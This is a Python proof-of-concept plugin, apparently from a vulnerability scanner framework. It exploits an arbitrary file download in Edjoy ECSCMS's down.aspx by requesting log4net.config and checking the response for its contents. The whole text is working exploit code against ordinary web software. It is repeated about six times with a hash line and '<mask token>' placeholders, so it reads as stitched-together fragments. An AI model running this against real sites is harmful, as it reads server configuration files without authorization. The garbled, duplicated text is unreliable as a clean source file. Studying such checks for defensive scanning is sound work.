#!/usr/bin/env python
#coding:utf8

__author__ = 'xiaokong'

from module.plugin import Plugin

class poc(Plugin):

    type = 'CMS'
    cmsname = 'edjoy'
    querytype = 'site'
    description = 'Edjoy ECSCMS down.aspx download file'
    
    def __init__(self):
    
        self.payload = "/down.aspx?filename=test&zippath=log4net.config"
    
    def exploit(self, target):
       
        response = self.query(method='GET', url=target+self.payload)
        if response is not None:
            if response.ok:
                if '<log4net>' in response.content and '<?xml version="1.0" encoding="utf-8" ?>' in response.content:
                    self.log.vuln(target)

385b9d7d1cb0765203e445d56c2ec9b6593f3b76
<mask token>


class poc(Plugin):
    <mask token>
    <mask token>
    <mask token>
    <mask token>

    def __init__(self):
        self.payload = '/down.aspx?filename=test&zippath=log4net.config'

    def exploit(self, target):
        response = self.query(method='GET', url=target + self.payload)
        if response is not None:
            if response.ok:
                if ('<log4net>' in response.content and 
                    '<?xml version="1.0" encoding="utf-8" ?>' in response.
                    content):
                    self.log.vuln(target)

<mask token>


class poc(Plugin):
    type = 'CMS'
    cmsname = 'edjoy'
    querytype = 'site'
    description = 'Edjoy ECSCMS down.aspx download file'

    def __init__(self):
        self.payload = '/down.aspx?filename=test&zippath=log4net.config'

    def exploit(self, target):
        response = self.query(method='GET', url=target + self.payload)
        if response is not None:
            if response.ok:
                if ('<log4net>' in response.content and 
                    '<?xml version="1.0" encoding="utf-8" ?>' in response.
                    content):
                    self.log.vuln(target)

__author__ = 'xiaokong'
<mask token>


class poc(Plugin):
    type = 'CMS'
    cmsname = 'edjoy'
    querytype = 'site'
    description = 'Edjoy ECSCMS down.aspx download file'

    def __init__(self):
        self.payload = '/down.aspx?filename=test&zippath=log4net.config'

    def exploit(self, target):
        response = self.query(method='GET', url=target + self.payload)
        if response is not None:
            if response.ok:
                if ('<log4net>' in response.content and 
                    '<?xml version="1.0" encoding="utf-8" ?>' in response.
                    content):
                    self.log.vuln(target)

__author__ = 'xiaokong'
from module.plugin import Plugin


class poc(Plugin):
    type = 'CMS'
    cmsname = 'edjoy'
    querytype = 'site'
    description = 'Edjoy ECSCMS down.aspx download file'

    def __init__(self):
        self.payload = '/down.aspx?filename=test&zippath=log4net.config'

    def exploit(self, target):
        response = self.query(method='GET', url=target + self.payload)
        if response is not None:
            if response.ok:
                if ('<log4net>' in response.content and 
                    '<?xml version="1.0" encoding="utf-8" ?>' in response.
                    content):
                    self.log.vuln(target)

#!/usr/bin/env python
#coding:utf8

__author__ = 'xiaokong'

from module.plugin import Plugin

class poc(Plugin):

    type = 'CMS'
    cmsname = 'edjoy'
    querytype = 'site'
    description = 'Edjoy ECSCMS down.aspx download file'
    
    def __init__(self):
    
        self.payload = "/down.aspx?filename=test&zippath=log4net.config"
    
    def exploit(self, target):
       
        response = self.query(method='GET', url=target+self.payload)
        if response is not None:
            if response.ok:
                if '<log4net>' in response.content and '<?xml version="1.0" encoding="utf-8" ?>' in response.content:
                    self.log.vuln(target)
